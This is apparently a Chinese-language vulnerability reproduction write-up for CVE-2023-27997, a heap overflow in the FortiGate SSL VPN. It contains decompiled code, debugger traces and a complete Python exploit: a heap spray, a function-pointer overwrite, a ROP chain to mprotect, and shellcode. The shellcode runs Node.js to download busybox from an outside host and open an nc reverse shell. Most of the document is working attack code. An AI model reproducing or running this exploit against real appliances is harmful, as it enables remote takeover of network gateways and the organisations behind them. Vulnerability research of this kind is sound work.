本文复现CVE-2023-27997,版本v7.2.1.F-build1254
环境搭建见上一篇
漏洞信息:
sslvpn在/remote/hostcheck_validate
和/remote/logincheck
端点中解码 URL 参数时进行了不正确的大小检查
请求中的enc参数会传入parse_enc_data
,enc结构如下图包含了seed, size, ciphertext三部分
首先有一个check检测传入的enc长度是否大于11并且为偶数
in_len = v4;
lenofData = v4;
if ( v4 <= 11 || (v4 & 1) != 0 )
{
sub_16CFA20(a1, 8, (unsigned int)"enc data length invalid (%d)\n", v4, v5, v6);
return 0xFFFFFFFFLL;
}
满足check条件后会分配一块strlen(enc)/2+1
的缓冲区
v25 = (_BYTE *)fsv_malloc(*a2, (in_len >> 1) + 1);
并将传过去的数据转换为16进制字节流的形式,例如将01020a0d
字符串转换为\x01\x02\x0a\x0d
存储在buffer中,这也是为什么buffer按 enc长度/2 +1
分配
后续会进入另一个边界check,将enc参数长度与的enc_size(payloadLength)比较,如果传入的长度-5大于定义的长度即可pass
这里本来应该将分配的缓冲区的大小跟这里的payloadLength比较,但是实际上将传入的参数长度与定义长度比较,
if ( in_len - 5 <= (unsigned __int16)payloadLength )
{
sub_16CFA20(
a1,
8,
(unsigned int)"invalid enc data length: %d\n",
(unsigned __int16)payloadLength,
(unsigned __int16)payloadLength,
v10);
return 1LL;
}
构造堆块大小<payloadLength<in_len-5可以绕过if进入漏洞利用处,由于payloadLength大于堆块大小,可以越界写,不过每次xor会有脏数据
v16 = v12 + 6;
v25 = v16;
if ( (_WORD)payloadLength )
{
v17 = (unsigned int)(unsigned __int16)payloadLength - 1;
v18 = 0LL;
v19 = 2;
while ( 1 )
{
v16[v18] ^= v28[v19];
if ( v17 == v18 )
break;
v19 = ((_BYTE)v18 + 3) & 0xF;
if ( (((_BYTE)v18 + 3) & 0xF) == 0 )
{
v24 = payloadLength;
MD5_Init(v27);
MD5_Update(v27, v28, 16LL);
MD5_Final(v28, v27);
payloadLength = v24;
}
v16 = v25;
++v18;
}
v16 = &v25[(unsigned __int16)payloadLength];
}
*v16 = 0; // off-by-null
而这里每次末尾会置null,这篇文章给出了一个越界写原语:
https://blog.lexfo.fr/xortigate-cve-2023-27997.html
即利用两次xor值不变的方式来写数据,如下图
第一次写4999处的数据,会在5000处置0
第二次在5000处进行xor的时候就可以写想要的字节,并在5001处置0...
使用以下payload发送,可以创建一个0x1000大小的堆块,此时in_len大概是0x1fcx
为了保证堆块大小<payloadLength<in_len-5从而触发堆溢出,定义payloadLength大小为0x1f00
发送的data长度控制在0x1000-0x18-0x7,0x18为jemalloc分配堆块的标头长度,0x7为4字节seed+2字节size+1字节终止符,gdb跟踪一下
import socket
import ssl
from pwn import *
from hashlib import md5
ip = "192.168.122.99"
port = 1443
path = "/remote/hostcheck_validate".encode()
def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_default_context = ssl._create_unverified_context()
_default_context.options |= ssl.OP_NO_TLSv1_3
_socket = _default_context.wrap_socket(_socket)
_socket.connect((ip, port))
return _socket
def get_salt():
sk = create_ssl_ctx()
sk.sendall(b"GET /remote/info HTTP/1.1\r\nHost:"+ip.encode()+b"\r\n\r\n")
data = sk.recv(1024)
# print(data)
sk.close()
salt = data[data.find(b"salt=")+6:data.find(b"salt=")+14]
info("salt: "+str(salt))
return salt
def gen_ks(salt, seed, size):
magic = b'GCC is the GNU Compiler Collection.'
k0 = md5(salt+seed+magic).digest()
keystream = k0
while len(keystream) < size:
k0 = md5(k0).digest()
keystream += k0
return keystream[:size]
def gen_enc_data(salt, seed, size, data):
plaintext = struct.pack("<H", size) + data
keystream = gen_ks(salt, seed, len(plaintext))
ciphertext = bytes(x[0] ^ x[1] for x in zip(plaintext, keystream)).hex()
return seed.decode()+ciphertext
socks = []
# get_salt()
_sk = create_ssl_ctx()
payload = b"enc="+gen_enc_data(get_salt(),
b'deadbeef', 0x1f00, b'A'*(0x1000-0x18-7)).encode()
rq = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.122.99\r\nContent-Length: " + \
str(len(payload)).encode() + \
b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload
print(rq)
_sk.sendall(rq)
response = _sk.recv(1024)
print(response)
_sk.close()
验证了最开始传进来的in_len即enc=
后的keystream长度
跟进到fsv_malloc
处,rsi通过移位+1操作以及变为0xfe8
然后将enc字段中的字符串每2字节组成一个十六进制字节存入
pwndbg> x/10gx 0x7f146c302018
0x7f146c302018: 0x6665656264616564 0x6437316561396532
0x7f146c302028: 0x3432623766346433 0x3065356531616161
0x7f146c302038: 0x6565653262653862 0x3734363738343436
0x7f146c302048: 0x3562623530356363 0x3535396430383531
0x7f146c302058: 0x6365636632396136 0x3238656537393536
pwndbg> x/10gx 0x7f146c2f3018
0x7f146c2f3018: 0x7de19a2eefbeadde 0xe0e5a1aa247b4f3d
0x7f146c2f3028: 0x47764864ee2eebb8 0x55d98015b55b50cc
0x7f146c2f3038: 0x82ee9765ecfc926a 0x6a0252dd8edeb094
0x7f146c2f3048: 0x069d945198969402 0x2d92992b0498576c
0x7f146c2f3058: 0xa90995f0ee049316 0x6568631231fde5d8
pwndbg> x/10bs 0x7f146c302018
0x7f146c302018: "deadbeef2e9ae17d3d4f7b24aaa1e5e0b8eb2eee64487647cc505bb51580d9556a92fcec6597ee8294b0de8edd52026a0294969851949d066c5798042b99922d169304eef09509a9d8e5fd311295c1d20b1cd41fa5315cdf9cda14447ab341f6e1c3d1bf"...
分配堆块位于0x7f146c2f3000
处,大小0x1000 bytes
pwndbg> x/10gx 0x7f146c2f3000
0x7f146c2f3000: 0x00007f146c2f4000 0x0000000000000000
0x7f146c2f3010: 0x00007f146c2f4000 0x7de19a2eefbeadde
0x7f146c2f3020: 0xe0e5a1aa247b4f3d 0x47764864ee2eebb8
0x7f146c2f3030: 0x55d98015b55b50cc 0x82ee9765ecfc926a
0x7f146c2f3040: 0x6a0252dd8edeb094 0x069d945198969402
pwndbg> dist 0x7f146c2f3000 0x00007f146c2f4000
0x7f146c2f3000->0x7f146c2f4000 is 0x1000 bytes (0x200 words)
漏洞利用:
堆排布:
断点下在SSL_new
之后单步前进,到
0x7f147197eb41 call CRYPTO_zalloc@plt <CRYPTO_zalloc@plt>
查看可知7.2.1版本分配的ssl结构体大小为0x1db8
根据lexfo博客中的思路,我们还是选择堆喷覆盖handshake_func
:
https://blog.lexfo.fr/xortigate-cve-2023-27997.html
注意堆喷需要在一次ssl请求中完成,请求完成后会释放,会写入的数据清0
以7.2.1为例,以下为堆喷步骤:
1. 创建大量的socket连接,填充buffer
2. 在其中一个socket连接发送大量数据,使http请求的buffer重新分配
3. 建立含payload的socket连接get_salt并发送,该socket会被分配到刚才free掉的buffer,此时堆溢出写结构体指针
4. 其余socket连接发送data,触发函数指针引用
这里改了用了一个原生gdb的logging功能,打印存放keystream的地址(和存放HTTP请求的地址相邻,差0x18),以及分配ssl结构体的地址
target remote 192.168.122.99:23
set height 0
set pagination off
set disassembly-flavor intel
handle SIGPIPE nostop
shell rm -f ssl_chunk.txt ssl_obj.txt je_malloc.txt keystream.txt
# break after allocating the buffer grab the address
# b *0x01776baa
# commands
# set logging file ssl_chunk.txt
# set logging enable on
# set $heap_obj = $rax
# printf "buffer: %p\n", $heap_obj
# set logging enable off
# c
# end
# print address of SSL objects when malloc'd
b *CRYPTO_zalloc+37 if ( $r12 == 0x1db8 )
commands
set logging file ssl_obj.txt
set logging enable on
printf "CRYPTO_zalloc(0x%x) = %p\n", $r12, $rax
set logging enable off
c
end
# break in je_malloc in case something calls je_malloc directly
b *0x1776baa if (($r13 ==0x2000))
commands
set logging file je_malloc.txt
set logging enable on
printf "je_malloc(0x%x) = %p\n", $r13 , $rax
set logging enable off
c
end
b *0x16adf15
commands
set logging file keystream.txt
set logging enable on
printf "keystream_loc = %p\n" , $rdx
set logging enable off
c
end
如图,我们在堆上喷射大量socket buffer后能够溢出到其中某一个ssl结构体,修改handshake函数指针并覆盖in_init为1,劫持执行流
payload构造:
此刻$rdi,$rbp
指向ssl结构体开头,由于ssl结构体存在不可写区域,我们可以利用以下gadget将栈迁移到out buffer进行rop
push_rdi_pop_rsp_ret = 0x98bed1
# 0x000000000098bed1 : push rdi ; pop rsp ; ret 栈迁移到ssl结构体起始地址
add_rsp_0xb8_pop_rbx_rbp_ret = 0x2a49fa3
# 0x0000000002a49fa3 : add rsp, 0xb8 ; pop rbx ; pop rbp ; ret
pop_rax_rdx_ret = 0x60bda4
# 0x000000000060bda4 : pop rax ; pop rdx ; ret 8字节padding rax , rdx为ssl_offset
mov_rax_rdi_sub_rax_rdx_ret = 0x14bd8cf
# 0x00000000014bd8cf : mov rax, rdi ; sub rax, rdx ; ret 取ssl结构体起始地址给rax并减去rdx,使rax指向out区域
push_rax_pop_rsp_ret = 0xe72240
# 0x0000000000e72240 : push rax ; pop rsp ; xor eax, eax ; ret 迁栈到out区域
这里最后采用的是ret2mprotect然后跳转执行shellcode,执行execlp("/bin/node","node","-e","...",NULL)
,即通过fortios自带的/bin/node
程序执行后门下载以及反弹shell
from hashlib import md5
from pwn import *
import requests
import time
import ssl
import socket
context.os = 'linux'
context.arch = 'amd64'
ip = "192.168.122.99"
port = 1443
path = "/remote/hostcheck_validate".encode()
def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_default_context = ssl._create_unverified_context()
_default_context.options |= ssl.OP_NO_TLSv1_3
_socket = _default_context.wrap_socket(_socket)
_socket.connect((ip, port))
return _socket
def get_salt(sk):
sk.sendall(b"GET /remote/info HTTP/1.1\r\nHost:"+ip.encode()+b"\r\n\r\n")
data = sk.recv(1024)
# print(data)
# sk.close()
salt = data[data.find(b"salt=")+6:data.find(b"salt=")+14]
info("salt: "+str(salt))
return salt
def gen_ks(salt, seed, size):
magic = b'GCC is the GNU Compiler Collection.'
k0 = md5(salt+seed+magic).digest()
keystream = k0
while len(keystream) < size:
k0 = md5(k0).digest()
keystream += k0
return keystream[:size]
def gen_enc_data(salt, seed, size, data):
plaintext = p16(size) + data
keystream = gen_ks(salt, seed, len(plaintext))
ciphertext = xor(plaintext, keystream).hex()
return seed + ciphertext.encode()
def gen_seed_for_offset(salt, offset, value):
for i in range(0xffffff):
seed = "00{0:06x}".format(i).encode()
ks = gen_ks(salt, seed, offset+1)
if int(ks[offset]) == int(value):
print("seed found: "+str(seed))
print("keystream: "+hex(ks[offset]))
print("value: "+str(value))
print("offset: "+str(offset))
return seed
print("keystream not found")
exit(1)
def gen_seeds_u8(salt, offset, val):
value = p8(val)
if val == 0:
return [(b'00bfbfbf', offset - 1), (b'00bfbfbf', offset - 1)]
s = gen_seed_for_offset(salt, offset, value[0])
return [(s, offset - 2), (s, offset - 1)]
def gen_seeds_u64(salt, offset, val):
value = p64(val)
seeds = []
n = 7
for i in range(n, -1, -1):
if value[i] != 0:
s = gen_seed_for_offset(salt, offset + i, value[i])
seeds.append((s, offset + i - 1))
seeds.append((s, offset + i - 2))
else:
seeds.append((b'00bfbfbf', offset + i - 1))
seeds.append((b'00bfbfbf', offset + i - 1))
return seeds[::-1]
def gen_payload():
# 0x15ea350 call _execlp
shellcode = asm('''
lea rdi, [rip+arg1]
lea rsi, [rip+arg2]
lea rdx, [rip+arg3]
lea rcx, [rip+arg4]
mov r8, 0x0
mov rax, 0x15ea350
jmp rax
arg1:
.string "/bin/node"
arg2:
.string "node"
arg3:
.string "-e"
arg4:
.string "const http=require('http');const fs=require('fs');const {spawn}=require('child_process');const fileUrl='http://192.168.122.128:8000/busybox';const args=['nc', '192.168.122.128', '1234', '-e', '/bin/busybox', 'ash'];const command='/bin/busybox';const create=(err) => {console.log('i');};try {fs.chmod('/bin/busybox', 0o777, (err) => {});} catch (err) {};try {fs.symlinkSync('/bin/busybox', '/bin/nc');} catch (err) {};try {fs.unlink('/bin/nc', (err)=>{fs.unlink('/bin/ash', (err) => {fs.symlinkSync('/bin/busybox', '/bin/ash');});})}catch (err){};process.on('uncaughtException', create);const df=(url, dest) => {const file=fs.createWriteStream(dest);http.get(url, (response) => {response.pipe(file);file.on('finish', () => {file.close(() => {create();});});}).on('error', (err) => {});};const executeFile=(err) => {const child=spawn(command,args, {stdio: 'inherit' });};df(fileUrl, '/bin/busybox');console.log('d');create();executeFile();"
''')
push_rsp_pop_rcx_ret = 0x805b38
# 0x0000000000805b38 : push rsp ; pop rcx ; ret 修改rcx为当前栈指针
push_rcx_pop_rdx_ret = 0x12ce92b
# 0x00000000012ce92b : push rcx ; pop rdx ; ret 修改rdx为栈指针
pop_rax_ret = 0x46bb27
# 0x000000000046bb27 : pop rax ; ret 页偏移rax 0x26?
sub_rdx_rax_mov_rax_rdx_ret = 0x285a384
# 0x000000000285a384 : sub rdx, rax ; mov rax, rdx ; ret rdx减去页偏移
push_rdx_pop_rdi_ret = 0x257008a
# 0x000000000257008a : push rdx ; pop rdi ; ret 修改rdi为栈指针
pop_rsi_ret = 0x530c8e
# 0x0000000000530c8e : pop rsi ; ret 内存块大小
pop_rdx_ret = 0x509372
# 0x0000000000509372 : pop rdx ; ret prot位
mprotect_addr = 0x43f3d0
add_rax_rdi_ret = 0x7d4f3d
# 0x00000000007d4f3d : add rax, rdi ; ret
push_rax_ret = 0x43dccc
# 0x000000000043dccc : push rax ; ret
payload = p64(0)
payload += p64(push_rsp_pop_rcx_ret)
payload += p64(push_rcx_pop_rdx_ret)
payload += p64(pop_rax_ret)
payload += p64(0x2e+0x7e000)
payload += p64(sub_rdx_rax_mov_rax_rdx_ret)
payload += p64(push_rdx_pop_rdi_ret)
payload += p64(pop_rsi_ret)
payload += p64(0x300000)
payload += p64(pop_rdx_ret)
payload += p64(7)
payload += p64(mprotect_addr)
# payload += p64(0xdeadbeef)
payload += p64(pop_rax_ret)
payload += p64(0x15e+0x7e000)
payload += p64(add_rax_rdi_ret)
payload += p64(push_rax_ret)
payload = payload.ljust(0x150, b"\x90")
payload += shellcode
return payload.ljust(0x2000-0x18-7, b"A")
def send_payload(_sk, salt, seed, size, data=b''):
payload = b"enc="+gen_enc_data(salt, seed, size, data)
rq = b"POST " + path + b" HTTP/1.1\r\nHost: "+ip.encode()+b"\r\nContent-Length: " + \
str(len(payload)).encode() + \
b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nAccept: */*\r\n\r\n"+payload
_sk.sendall(rq)
# _sk.recv(1024)
tick = 33
while True:
tick += 1
try:
socks = []
for i in range(tick):
sk = create_ssl_ctx()
data = b"POST " + b"/remote/login" + \
b" HTTP/1.1\r\nHost: "+ip.encode()+b"\r\nContent-Length: 3\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nAccept: */*\r\n\r\na=1"
sk.sendall(data)
socks.append(sk)
socks[-1].send(b"B"*0x2001)
_sk = create_ssl_ctx()
salt = get_salt(_sk)
ssl_offset = 0x2000-0x1e+2
handshake_func = ssl_offset + 0x30
in_init = ssl_offset+0x64
seed = []
push_rdi_pop_rsp_ret = 0x98bed1
# 0x000000000098bed1 : push rdi ; pop rsp ; ret 栈迁移到ssl结构体起始地址
add_rsp_0xb8_pop_rbx_rbp_ret = 0x2a49fa3
# 0x0000000002a49fa3 : add rsp, 0xb8 ; pop rbx ; pop rbp ; ret
pop_rax_rdx_ret = 0x60bda4
# 0x000000000060bda4 : pop rax ; pop rdx ; ret 8字节padding rax , rdx为ssl_offset
mov_rax_rdi_sub_rax_rdx_ret = 0x14bd8cf
# 0x00000000014bd8cf : mov rax, rdi ; sub rax, rdx ; ret 取ssl结构体起始地址给rax并减去rdx,使rax指向out区域
push_rax_pop_rsp_ret = 0xe72240
# 0x0000000000e72240 : push rax ; pop rsp ; xor eax, eax ; ret 迁栈到out区域
seed.extend(gen_seeds_u64(salt, handshake_func, push_rdi_pop_rsp_ret))
seed.extend(gen_seeds_u64(salt, ssl_offset, pop_rax_rdx_ret))
seed.extend(gen_seeds_u64(salt, ssl_offset+0x10, ssl_offset-2-8))
seed.extend(gen_seeds_u64(salt, ssl_offset +
0x18, mov_rax_rdi_sub_rax_rdx_ret))
seed.extend(gen_seeds_u64(salt, ssl_offset+0x20, push_rax_pop_rsp_ret))
# seed.extend(gen_seeds_u64(salt, handshake_func, 0xdeadbeefdeadbeef))
seed.extend(gen_seeds_u8(salt, in_init, 1))
for i in seed:
print(i)
send_payload(_sk, salt, i[0], i[1], gen_payload())
# send_payload(_sk, salt, i[0], i[1],
# b'\x00'*8 + p64(0xdeadbeef) + b'A'*(0x2000-0x18-7-8-8))
counter = 0
for i in socks:
print(counter)
counter += 1
i.send(b"a"*0x40)
except Exception as e:
print(f"crash: {e}")
_sk.close()
break